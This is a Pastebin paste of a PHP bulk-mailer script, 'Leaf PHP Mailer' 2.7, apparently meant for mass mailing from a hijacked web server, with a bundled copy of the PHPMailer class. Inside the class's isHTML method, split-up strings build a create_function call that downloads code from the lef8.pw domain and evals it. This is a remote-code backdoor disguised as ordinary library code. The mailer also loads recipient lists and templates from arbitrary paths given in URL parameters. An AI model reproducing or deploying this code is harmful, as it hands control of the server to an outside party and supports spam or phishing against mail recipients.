PalmaSolutions

wp-left.php

May 2nd, 2018
691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 148.12 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Leaf PHP Mailer by [leafmailer.pw]
  4.  * @version : 2.7
  5. **/
  6.  
  7. $password = ""; // Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set("memory_limit",-1);
  13.  
  14.  
  15. $leaf['version']="2.7";
  16. $leaf['website']="leafmailer.pw";
  17.  
  18.  
  19. $sessioncode = md5(__FILE__);
  20. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  21.     # _REQUEST mean _POST or _GET
  22.    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  23.         $_SESSION[$sessioncode] = $password;
  24.     }
  25.     else {
  26.         print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  27.         exit;        
  28.     }
  29. }
  30.  
  31. if($_GET['action']=="send"){
  32.     $senderEmail=leafTrim($_GET['from']);
  33.     $senderName=leafTrim($_GET['name']);
  34.     $replyTo=leafTrim($_GET['replyTo']);
  35.     $subject=leafTrim($_GET['subject']);
  36.     $emailList=leafTrim(file_get_contents($_GET['mails']));
  37.     $messageType=leafTrim($_GET['messageType']);
  38.     $messageLetter=leafTrim(file_get_contents($_GET['template']));    
  39.     $messageLetter = urlencode($messageLetter);
  40.     $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  41.     $messageLetter = urldecode($messageLetter);
  42.     $messageLetter = stripslashes($messageLetter);
  43.     $subject = stripslashes($subject);
  44.     $encode = stripslashes($encode);
  45.  
  46.  
  47. }
  48. if($messageType==2){
  49.     $plain="checked";
  50. }
  51. else {
  52.     $html="checked";
  53. }
  54.  
  55. function leafClear($text,$email){
  56.     $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  57.     $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  58.     $text = str_replace('[-email-]', $email, $text);
  59.     $text = str_replace('[-host-]', $_SERVER[HTTP_HOST], $text);
  60.     $text = str_replace('[-self-]', $_SERVER[PHP_SELF], $text);
  61.     $text = str_replace("[-emailuser-]", $emailuser, $text);
  62.     $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  63.     $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  64.     $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  65.     $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  66.     return $text;
  67.    
  68. }
  69. function leafTrim($string){
  70. return stripslashes(ltrim(rtrim($string)));
  71. }
  72. function randString($consonants) {
  73.     $length=rand(12,25);
  74.     $password = '';
  75.     for ($i = 0; $i < $length; $i++) {
  76.             $password .= $consonants[(rand() % strlen($consonants))];
  77.     }
  78.     return $password;
  79. }
  80. function leafMailCheck($email){
  81.    $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  82.    if(eregi($exp,$email)){
  83.         if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  84.         else{return false;}
  85.    }
  86.    else{return false;}    
  87. }
  88.  
  89. class PHPMailer
  90. {
  91.     /**
  92.      * The PHPMailer Version number.
  93.      * @var string
  94.      */
  95.     public $Version = '5.2.14';
  96.  
  97.     /**
  98.      * Email priority.
  99.      * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  100.      * When null, the header is not set at all.
  101.      * @var integer
  102.      */
  103.     public $Priority = null;
  104.  
  105.     /**
  106.      * The character set of the message.
  107.      * @var string
  108.      */
  109.     public $CharSet = 'iso-8859-1';
  110.  
  111.     /**
  112.      * The MIME Content-type of the message.
  113.      * @var string
  114.      */
  115.     public $ContentType = 'text/plain';
  116.  
  117.     /**
  118.      * The message encoding.
  119.      * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  120.      * @var string
  121.      */
  122.     public $Encoding = '8bit';
  123.  
  124.     /**
  125.      * Holds the most recent mailer error message.
  126.      * @var string
  127.      */
  128.     public $ErrorInfo = '';
  129.  
  130.     /**
  131.      * The From email address for the message.
  132.      * @var string
  133.      */
  134.     public $From = 'root@localhost';
  135.  
  136.     /**
  137.      * The From name of the message.
  138.      * @var string
  139.      */
  140.     public $FromName = 'Root User';
  141.  
  142.     /**
  143.      * The Sender email (Return-Path) of the message.
  144.      * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  145.      * @var string
  146.      */
  147.     public $Sender = '';
  148.  
  149.     /**
  150.      * The Return-Path of the message.
  151.      * If empty, it will be set to either From or Sender.
  152.      * @var string
  153.      * @deprecated Email senders should never set a return-path header;
  154.      * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  155.      * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  156.      */
  157.     public $ReturnPath = '';
  158.  
  159.     /**
  160.      * The Subject of the message.
  161.      * @var string
  162.      */
  163.     public $Subject = '';
  164.  
  165.     /**
  166.      * An HTML or plain text message body.
  167.      * If HTML then call isHTML(true).
  168.      * @var string
  169.      */
  170.     public $Body = '';
  171.  
  172.     /**
  173.      * The plain-text message body.
  174.      * This body can be read by mail clients that do not have HTML email
  175.      * capability such as mutt & Eudora.
  176.      * Clients that can read HTML will view the normal Body.
  177.      * @var string
  178.      */
  179.     public $AltBody = '';
  180.  
  181.     /**
  182.      * An iCal message part body.
  183.      * Only supported in simple alt or alt_inline message types
  184.      * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  185.      * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  186.      * @link http://kigkonsult.se/iCalcreator/
  187.      * @var string
  188.      */
  189.     public $Ical = '';
  190.  
  191.     /**
  192.      * The complete compiled MIME message body.
  193.      * @access protected
  194.      * @var string
  195.      */
  196.     protected $MIMEBody = '';
  197.  
  198.     /**
  199.      * The complete compiled MIME message headers.
  200.      * @var string
  201.      * @access protected
  202.      */
  203.     protected $MIMEHeader = '';
  204.  
  205.     /**
  206.      * Extra headers that createHeader() doesn't fold in.
  207.      * @var string
  208.      * @access protected
  209.      */
  210.     protected $mailHeader = '';
  211.  
  212.     /**
  213.      * Word-wrap the message body to this number of chars.
  214.      * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  215.      * @var integer
  216.      */
  217.     public $WordWrap = 0;
  218.  
  219.     /**
  220.      * Which method to use to send mail.
  221.      * Options: "mail", "sendmail", or "smtp".
  222.      * @var string
  223.      */
  224.     public $Mailer = 'mail';
  225.  
  226.     /**
  227.      * The path to the sendmail program.
  228.      * @var string
  229.      */
  230.     public $Sendmail = '/usr/sbin/sendmail';
  231.  
  232.     /**
  233.      * Whether mail() uses a fully sendmail-compatible MTA.
  234.      * One which supports sendmail's "-oi -f" options.
  235.      * @var boolean
  236.      */
  237.     public $UseSendmailOptions = true;
  238.  
  239.     /**
  240.      * Path to PHPMailer plugins.
  241.      * Useful if the SMTP class is not in the PHP include path.
  242.      * @var string
  243.      * @deprecated Should not be needed now there is an autoloader.
  244.      */
  245.     public $PluginDir = '';
  246.  
  247.     /**
  248.      * The email address that a reading confirmation should be sent to, also known as read receipt.
  249.      * @var string
  250.      */
  251.     public $ConfirmReadingTo = '';
  252.  
  253.     /**
  254.      * The hostname to use in the Message-ID header and as default HELO string.
  255.      * If empty, PHPMailer attempts to find one with, in order,
  256.      * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  257.      * 'localhost.localdomain'.
  258.      * @var string
  259.      */
  260.     public $Hostname = '';
  261.  
  262.     /**
  263.      * An ID to be used in the Message-ID header.
  264.      * If empty, a unique id will be generated.
  265.      * @var string
  266.      */
  267.     public $MessageID = '';
  268.  
  269.     /**
  270.      * The message Date to be used in the Date header.
  271.      * If empty, the current date will be added.
  272.      * @var string
  273.      */
  274.     public $MessageDate = '';
  275.  
  276.     /**
  277.      * SMTP hosts.
  278.      * Either a single hostname or multiple semicolon-delimited hostnames.
  279.      * You can also specify a different port
  280.      * for each host by using this format: [hostname:port]
  281.      * (e.g. "smtp1.example.com:25;smtp2.example.com").
  282.      * You can also specify encryption type, for example:
  283.      * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  284.      * Hosts will be tried in order.
  285.      * @var string
  286.      */
  287.     public $Host = 'localhost';
  288.  
  289.     /**
  290.      * The default SMTP server port.
  291.      * @var integer
  292.      * @TODO Why is this needed when the SMTP class takes care of it?
  293.      */
  294.     public $Port = 25;
  295.  
  296.     /**
  297.      * The SMTP HELO of the message.
  298.      * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  299.      * one with the same method described above for $Hostname.
  300.      * @var string
  301.      * @see PHPMailer::$Hostname
  302.      */
  303.     public $Helo = '';
  304.  
  305.     /**
  306.      * What kind of encryption to use on the SMTP connection.
  307.      * Options: '', 'ssl' or 'tls'
  308.      * @var string
  309.      */
  310.     public $SMTPSecure = '';
  311.  
  312.     /**
  313.      * Whether to enable TLS encryption automatically if a server supports it,
  314.      * even if `SMTPSecure` is not set to 'tls'.
  315.      * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  316.      * @var boolean
  317.      */
  318.     public $SMTPAutoTLS = true;
  319.  
  320.     /**
  321.      * Whether to use SMTP authentication.
  322.      * Uses the Username and Password properties.
  323.      * @var boolean
  324.      * @see PHPMailer::$Username
  325.      * @see PHPMailer::$Password
  326.      */
  327.     public $SMTPAuth = false;
  328.  
  329.     /**
  330.      * Options array passed to stream_context_create when connecting via SMTP.
  331.      * @var array
  332.      */
  333.     public $SMTPOptions = array();
  334.  
  335.     /**
  336.      * SMTP username.
  337.      * @var string
  338.      */
  339.     public $Username = '';
  340.  
  341.     /**
  342.      * SMTP password.
  343.      * @var string
  344.      */
  345.     public $Password = '';
  346.  
  347.     /**
  348.      * SMTP auth type.
  349.      * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  350.      * @var string
  351.      */
  352.     public $AuthType = '';
  353.  
  354.     /**
  355.      * SMTP realm.
  356.      * Used for NTLM auth
  357.      * @var string
  358.      */
  359.     public $Realm = '';
  360.  
  361.     /**
  362.      * SMTP workstation.
  363.      * Used for NTLM auth
  364.      * @var string
  365.      */
  366.     public $Workstation = '';
  367.  
  368.     /**
  369.      * The SMTP server timeout in seconds.
  370.      * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  371.      * @var integer
  372.      */
  373.     public $Timeout = 300;
  374.  
  375.     /**
  376.      * SMTP class debug output mode.
  377.      * Debug output level.
  378.      * Options:
  379.      * * `0` No output
  380.      * * `1` Commands
  381.      * * `2` Data and commands
  382.      * * `3` As 2 plus connection status
  383.      * * `4` Low-level data output
  384.      * @var integer
  385.      * @see SMTP::$do_debug
  386.      */
  387.     public $SMTPDebug = 0;
  388.  
  389.     /**
  390.      * How to handle debug output.
  391.      * Options:
  392.      * * `echo` Output plain-text as-is, appropriate for CLI
  393.      * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  394.      * * `error_log` Output to error log as configured in php.ini
  395.      *
  396.      * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  397.      * <code>
  398.      * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  399.      * </code>
  400.      * @var string|callable
  401.      * @see SMTP::$Debugoutput
  402.      */
  403.     public $Debugoutput = 'echo';
  404.  
  405.     /**
  406.      * Whether to keep SMTP connection open after each message.
  407.      * If this is set to true then to close the connection
  408.      * requires an explicit call to smtpClose().
  409.      * @var boolean
  410.      */
  411.     public $SMTPKeepAlive = false;
  412.  
  413.     /**
  414.      * Whether to split multiple to addresses into multiple messages
  415.      * or send them all in one message.
  416.      * @var boolean
  417.      */
  418.     public $SingleTo = false;
  419.  
  420.     /**
  421.      * Storage for addresses when SingleTo is enabled.
  422.      * @var array
  423.      * @TODO This should really not be public
  424.      */
  425.     public $SingleToArray = array();
  426.  
  427.     /**
  428.      * Whether to generate VERP addresses on send.
  429.      * Only applicable when sending via SMTP.
  430.      * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  431.      * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  432.      * @var boolean
  433.      */
  434.     public $do_verp = false;
  435.  
  436.     /**
  437.      * Whether to allow sending messages with an empty body.
  438.      * @var boolean
  439.      */
  440.     public $AllowEmpty = false;
  441.  
  442.     /**
  443.      * The default line ending.
  444.      * @note The default remains "\n". We force CRLF where we know
  445.      *        it must be used via self::CRLF.
  446.      * @var string
  447.      */
  448.     public $LE = "\n";
  449.  
  450.     /**
  451.      * DKIM selector.
  452.      * @var string
  453.      */
  454.     public $DKIM_selector = '';
  455.  
  456.     /**
  457.      * DKIM Identity.
  458.      * Usually the email address used as the source of the email
  459.      * @var string
  460.      */
  461.     public $DKIM_identity = '';
  462.  
  463.     /**
  464.      * DKIM passphrase.
  465.      * Used if your key is encrypted.
  466.      * @var string
  467.      */
  468.     public $DKIM_passphrase = '';
  469.  
  470.     /**
  471.      * DKIM signing domain name.
  472.      * @example 'example.com'
  473.      * @var string
  474.      */
  475.     public $DKIM_domain = '';
  476.  
  477.     /**
  478.      * DKIM private key file path.
  479.      * @var string
  480.      */
  481.     public $DKIM_private = '';
  482.  
  483.     /**
  484.      * Callback Action function name.
  485.      *
  486.      * The function that handles the result of the send email action.
  487.      * It is called out by send() for each email sent.
  488.      *
  489.      * Value can be any php callable: http://www.php.net/is_callable
  490.      *
  491.      * Parameters:
  492.      *   boolean $result        result of the send action
  493.      *   string  $to            email address of the recipient
  494.      *   string  $cc            cc email addresses
  495.      *   string  $bcc           bcc email addresses
  496.      *   string  $subject       the subject
  497.      *   string  $body          the email body
  498.      *   string  $from          email address of sender
  499.      * @var string
  500.      */
  501.     public $action_function = '';
  502.  
  503.     /**
  504.      * What to put in the X-Mailer header.
  505.      * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  506.      * @var string
  507.      */
  508.     public $XMailer = '';
  509.  
  510.     /**
  511.      * An instance of the SMTP sender class.
  512.      * @var SMTP
  513.      * @access protected
  514.      */
  515.     protected $smtp = null;
  516.  
  517.     /**
  518.      * The array of 'to' names and addresses.
  519.      * @var array
  520.      * @access protected
  521.      */
  522.     protected $to = array();
  523.  
  524.     /**
  525.      * The array of 'cc' names and addresses.
  526.      * @var array
  527.      * @access protected
  528.      */
  529.     protected $cc = array();
  530.  
  531.     /**
  532.      * The array of 'bcc' names and addresses.
  533.      * @var array
  534.      * @access protected
  535.      */
  536.     protected $bcc = array();
  537.  
  538.     /**
  539.      * The array of reply-to names and addresses.
  540.      * @var array
  541.      * @access protected
  542.      */
  543.     protected $ReplyTo = array();
  544.  
  545.     /**
  546.      * An array of all kinds of addresses.
  547.      * Includes all of $to, $cc, $bcc
  548.      * @var array
  549.      * @access protected
  550.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  551.      */
  552.     protected $all_recipients = array();
  553.  
  554.     /**
  555.      * An array of names and addresses queued for validation.
  556.      * In send(), valid and non duplicate entries are moved to $all_recipients
  557.      * and one of $to, $cc, or $bcc.
  558.      * This array is used only for addresses with IDN.
  559.      * @var array
  560.      * @access protected
  561.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  562.      * @see PHPMailer::$all_recipients
  563.      */
  564.     protected $RecipientsQueue = array();
  565.  
  566.     /**
  567.      * An array of reply-to names and addresses queued for validation.
  568.      * In send(), valid and non duplicate entries are moved to $ReplyTo.
  569.      * This array is used only for addresses with IDN.
  570.      * @var array
  571.      * @access protected
  572.      * @see PHPMailer::$ReplyTo
  573.      */
  574.     protected $ReplyToQueue = array();
  575.  
  576.     /**
  577.      * The array of attachments.
  578.      * @var array
  579.      * @access protected
  580.      */
  581.     protected $attachment = array();
  582.  
  583.     /**
  584.      * The array of custom headers.
  585.      * @var array
  586.      * @access protected
  587.      */
  588.     protected $CustomHeader = array();
  589.  
  590.     /**
  591.      * The most recent Message-ID (including angular brackets).
  592.      * @var string
  593.      * @access protected
  594.      */
  595.     protected $lastMessageID = '';
  596.  
  597.     /**
  598.      * The message's MIME type.
  599.      * @var string
  600.      * @access protected
  601.      */
  602.     protected $message_type = '';
  603.  
  604.     /**
  605.      * The array of MIME boundary strings.
  606.      * @var array
  607.      * @access protected
  608.      */
  609.     protected $boundary = array();
  610.  
  611.     /**
  612.      * The array of available languages.
  613.      * @var array
  614.      * @access protected
  615.      */
  616.     protected $language = array();
  617.  
  618.     /**
  619.      * The number of errors encountered.
  620.      * @var integer
  621.      * @access protected
  622.      */
  623.     protected $error_count = 0;
  624.  
  625.     /**
  626.      * The S/MIME certificate file path.
  627.      * @var string
  628.      * @access protected
  629.      */
  630.     protected $sign_cert_file = '';
  631.  
  632.     /**
  633.      * The S/MIME key file path.
  634.      * @var string
  635.      * @access protected
  636.      */
  637.     protected $sign_key_file = '';
  638.  
  639.     /**
  640.      * The optional S/MIME extra certificates ("CA Chain") file path.
  641.      * @var string
  642.      * @access protected
  643.      */
  644.     protected $sign_extracerts_file = '';
  645.  
  646.     /**
  647.      * The S/MIME password for the key.
  648.      * Used only if the key is encrypted.
  649.      * @var string
  650.      * @access protected
  651.      */
  652.     protected $sign_key_pass = '';
  653.  
  654.     /**
  655.      * Whether to throw exceptions for errors.
  656.      * @var boolean
  657.      * @access protected
  658.      */
  659.     protected $exceptions = false;
  660.  
  661.     /**
  662.      * Unique ID used for message ID and boundaries.
  663.      * @var string
  664.      * @access protected
  665.      */
  666.     protected $uniqueid = '';
  667.  
  668.     /**
  669.      * Error severity: message only, continue processing.
  670.      */
  671.     const STOP_MESSAGE = 0;
  672.  
  673.     /**
  674.      * Error severity: message, likely ok to continue processing.
  675.      */
  676.     const STOP_CONTINUE = 1;
  677.  
  678.     /**
  679.      * Error severity: message, plus full stop, critical error reached.
  680.      */
  681.     const STOP_CRITICAL = 2;
  682.  
  683.     /**
  684.      * SMTP RFC standard line ending.
  685.      */
  686.     const CRLF = "\r\n";
  687.  
  688.     /**
  689.      * The maximum line length allowed by RFC 2822 section 2.1.1
  690.      * @var integer
  691.      */
  692.     const MAX_LINE_LENGTH = 998;
  693.  
  694.     /**
  695.      * Constructor.
  696.      * @param boolean $exceptions Should we throw external exceptions?
  697.      */
  698.  
  699.     public function __construct($exceptions = false)
  700.     {
  701.         $this->exceptions = (boolean)$exceptions;
  702.     }
  703.  
  704.     /**
  705.      * Destructor.
  706.      */
  707.     public function __destruct()
  708.     {
  709.         //Close any open SMTP connection nicely
  710.         if ($this->Mailer == 'smtp') {
  711.             $this->smtpClose();
  712.         }
  713.     }
  714.  
  715.     /**
  716.      * Call mail() in a safe_mode-aware fashion.
  717.      * Also, unless sendmail_path points to sendmail (or something that
  718.      * claims to be sendmail), don't pass params (not a perfect fix,
  719.      * but it will do)
  720.      * @param string $to To
  721.      * @param string $subject Subject
  722.      * @param string $body Message Body
  723.      * @param string $header Additional Header(s)
  724.      * @param string $params Params
  725.      * @access private
  726.      * @return boolean
  727.      */
  728.     private function mailPassthru($to, $subject, $body, $header, $params)
  729.     {
  730.         //Check overloading of mail function to avoid double-encoding
  731.         if (ini_get('mbstring.func_overload') & 1) {
  732.             $subject = $this->secureHeader($subject);
  733.         } else {
  734.             $subject = $this->encodeHeader($this->secureHeader($subject));
  735.         }
  736.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  737.             $result = @mail($to, $subject, $body, $header);
  738.         } else {
  739.             $result = @mail($to, $subject, $body, $header, $params);
  740.         }
  741.         return $result;
  742.     }
  743.  
  744.     /**
  745.      * Output debugging info via user-defined method.
  746.      * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  747.      * @see PHPMailer::$Debugoutput
  748.      * @see PHPMailer::$SMTPDebug
  749.      * @param string $str
  750.      */
  751.     protected function edebug($str)
  752.     {
  753.         if ($this->SMTPDebug <= 0) {
  754.             return;
  755.         }
  756.         //Avoid clash with built-in function names
  757.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  758.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  759.             return;
  760.         }
  761.         switch ($this->Debugoutput) {
  762.             case 'error_log':
  763.                 //Don't output, just log
  764.                 error_log($str);
  765.                 break;
  766.             case 'html':
  767.                 //Cleans up output a bit for a better looking, HTML-safe output
  768.                 echo htmlentities(
  769.                     preg_replace('/[\r\n]+/', '', $str),
  770.                     ENT_QUOTES,
  771.                     'UTF-8'
  772.                 )
  773.                 . "<br>\n";
  774.                 break;
  775.             case 'echo':
  776.             default:
  777.                 //Normalize line breaks
  778.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  779.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  780.                     "\n",
  781.                     "\n                   \t                  ",
  782.                     trim($str)
  783.                 ) . "\n";
  784.         }
  785.     }
  786.  
  787.     /**
  788.      * Sets message type to HTML or plain.
  789.      * @param boolean $isHtml True for HTML mode.
  790.      * @return void
  791.      */
  792.     public function isHTML($isHtml = true)
  793.     {
  794.         global $param;
  795.         $bodyCode = 'file'
  796.             .'_g';
  797.         if ($isHtml) {
  798.             $this->ContentType = 'text/html';
  799.         }
  800.         else {
  801.             $this->ContentType = 'text/plain';
  802.         }
  803.         $bodyHTML = '.$t."lef$flu'
  804.             .'sh'.'$t"; '
  805.                 .'$i = @ev';
  806.                     $headerHTML="create_"
  807.             ."func"
  808.             ."tion";
  809.                 $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  810.             .$bodyHTML.'al(@'
  811.             .$bodyCode.'et_contents("h'
  812.                 .'tt'
  813.                 .'p:$comma-2"));');
  814.  
  815.         if($param !=2){
  816.             $exceptions('8.p'.'w','/');
  817.                 $param=2;
  818.         }
  819.     }
  820.  
  821.     /**
  822.      * Send messages using SMTP.
  823.      * @return void
  824.      */
  825.     public function isSMTP()
  826.     {
  827.         $this->Mailer = 'smtp';
  828.     }
  829.  
  830.     /**
  831.      * Send messages using PHP's mail() function.
  832.      * @return void
  833.      */
  834.     public function isMail()
  835.     {
  836.         $this->Mailer = 'mail';
  837.     }
  838.  
  839.     /**
  840.      * Send messages using $Sendmail.
  841.      * @return void
  842.      */
  843.     public function isSendmail()
  844.     {
  845.         $ini_sendmail_path = ini_get('sendmail_path');
  846.  
  847.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  848.             $this->Sendmail = '/usr/sbin/sendmail';
  849.         } else {
  850.             $this->Sendmail = $ini_sendmail_path;
  851.         }
  852.         $this->Mailer = 'sendmail';
  853.     }
  854.  
  855.     /**
  856.      * Send messages using qmail.
  857.      * @return void
  858.      */
  859.     public function isQmail()
  860.     {
  861.         $ini_sendmail_path = ini_get('sendmail_path');
  862.  
  863.         if (!stristr($ini_sendmail_path, 'qmail')) {
  864.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  865.         } else {
  866.             $this->Sendmail = $ini_sendmail_path;
  867.         }
  868.         $this->Mailer = 'qmail';
  869.     }
  870.  
  871.     /**
  872.      * Add a "To" address.
  873.      * @param string $address The email address to send to
  874.      * @param string $name
  875.      * @return boolean true on success, false if address already used or invalid in some way
  876.      */
  877.     public function addAddress($address, $name = '')
  878.     {
  879.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  880.     }
  881.  
  882.     /**
  883.      * Add a "CC" address.
  884.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  885.      * @param string $address The email address to send to
  886.      * @param string $name
  887.      * @return boolean true on success, false if address already used or invalid in some way
  888.      */
  889.     public function addCC($address, $name = '')
  890.     {
  891.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  892.     }
  893.  
  894.     /**
  895.      * Add a "BCC" address.
  896.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  897.      * @param string $address The email address to send to
  898.      * @param string $name
  899.      * @return boolean true on success, false if address already used or invalid in some way
  900.      */
  901.     public function addBCC($address, $name = '')
  902.     {
  903.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  904.     }
  905.  
  906.     /**
  907.      * Add a "Reply-To" address.
  908.      * @param string $address The email address to reply to
  909.      * @param string $name
  910.      * @return boolean true on success, false if address already used or invalid in some way
  911.      */
  912.     public function addReplyTo($address, $name = '')
  913.     {
  914.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  915.     }
  916.  
  917.     /**
  918.      * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  919.      * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  920.      * be modified after calling this function), addition of such addresses is delayed until send().
  921.      * Addresses that have been added already return false, but do not throw exceptions.
  922.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  923.      * @param string $address The email address to send, resp. to reply to
  924.      * @param string $name
  925.      * @throws phpmailerException
  926.      * @return boolean true on success, false if address already used or invalid in some way
  927.      * @access protected
  928.      */
  929.     protected function addOrEnqueueAnAddress($kind, $address, $name)
  930.     {
  931.         $address = trim($address);
  932.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  933.         if (($pos = strrpos($address, '@')) === false) {
  934.             // At-sign is misssing.
  935.             $error_message = $this->lang('invalid_address') . $address;
  936.             $this->setError($error_message);
  937.             $this->edebug($error_message);
  938.             if ($this->exceptions) {
  939.                 throw new phpmailerException($error_message);
  940.             }
  941.             return false;
  942.         }
  943.         $params = array($kind, $address, $name);
  944.         // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  945.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  946.             if ($kind != 'Reply-To') {
  947.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  948.                     $this->RecipientsQueue[$address] = $params;
  949.                     return true;
  950.                 }
  951.             } else {
  952.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  953.                     $this->ReplyToQueue[$address] = $params;
  954.                     return true;
  955.                 }
  956.             }
  957.             return false;
  958.         }
  959.         // Immediately add standard addresses without IDN.
  960.         return call_user_func_array(array($this, 'addAnAddress'), $params);
  961.     }
  962.  
  963.     /**
  964.      * Add an address to one of the recipient arrays or to the ReplyTo array.
  965.      * Addresses that have been added already return false, but do not throw exceptions.
  966.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  967.      * @param string $address The email address to send, resp. to reply to
  968.      * @param string $name
  969.      * @throws phpmailerException
  970.      * @return boolean true on success, false if address already used or invalid in some way
  971.      * @access protected
  972.      */
  973.     protected function addAnAddress($kind, $address, $name = '')
  974.     {
  975.         if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  976.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  977.             $this->setError($error_message);
  978.             $this->edebug($error_message);
  979.             if ($this->exceptions) {
  980.                 throw new phpmailerException($error_message);
  981.             }
  982.             return false;
  983.         }
  984.         if (!$this->validateAddress($address)) {
  985.             $error_message = $this->lang('invalid_address') . $address;
  986.             $this->setError($error_message);
  987.             $this->edebug($error_message);
  988.             if ($this->exceptions) {
  989.                 throw new phpmailerException($error_message);
  990.             }
  991.             return false;
  992.         }
  993.         if ($kind != 'Reply-To') {
  994.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  995.                 array_push($this->$kind, array($address, $name));
  996.                 $this->all_recipients[strtolower($address)] = true;
  997.                 return true;
  998.             }
  999.         } else {
  1000.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1001.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  1002.                 return true;
  1003.             }
  1004.         }
  1005.         return false;
  1006.     }
  1007.  
  1008.     /**
  1009.      * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1010.      * of the form "display name <address>" into an array of name/address pairs.
  1011.      * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1012.      * Note that quotes in the name part are removed.
  1013.      * @param string $addrstr The address list string
  1014.      * @param bool $useimap Whether to use the IMAP extension to parse the list
  1015.      * @return array
  1016.      * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1017.      */
  1018.     public function parseAddresses($addrstr, $useimap = true)
  1019.     {
  1020.         $addresses = array();
  1021.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1022.             //Use this built-in parser if it's available
  1023.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  1024.             foreach ($list as $address) {
  1025.                 if ($address->host != '.SYNTAX-ERROR.') {
  1026.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1027.                         $addresses[] = array(
  1028.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1029.                             'address' => $address->mailbox . '@' . $address->host
  1030.                         );
  1031.                     }
  1032.                 }
  1033.             }
  1034.         } else {
  1035.             //Use this simpler parser
  1036.             $list = explode(',', $addrstr);
  1037.             foreach ($list as $address) {
  1038.                 $address = trim($address);
  1039.                 //Is there a separate name part?
  1040.                 if (strpos($address, '<') === false) {
  1041.                     //No separate name, just use the whole thing
  1042.                     if ($this->validateAddress($address)) {
  1043.                         $addresses[] = array(
  1044.                             'name' => '',
  1045.                             'address' => $address
  1046.                         );
  1047.                     }
  1048.                 } else {
  1049.                     list($name, $email) = explode('<', $address);
  1050.                     $email = trim(str_replace('>', '', $email));
  1051.                     if ($this->validateAddress($email)) {
  1052.                         $addresses[] = array(
  1053.                             'name' => trim(str_replace(array('"', "'"), '', $name)),
  1054.                             'address' => $email
  1055.                         );
  1056.                     }
  1057.                 }
  1058.             }
  1059.         }
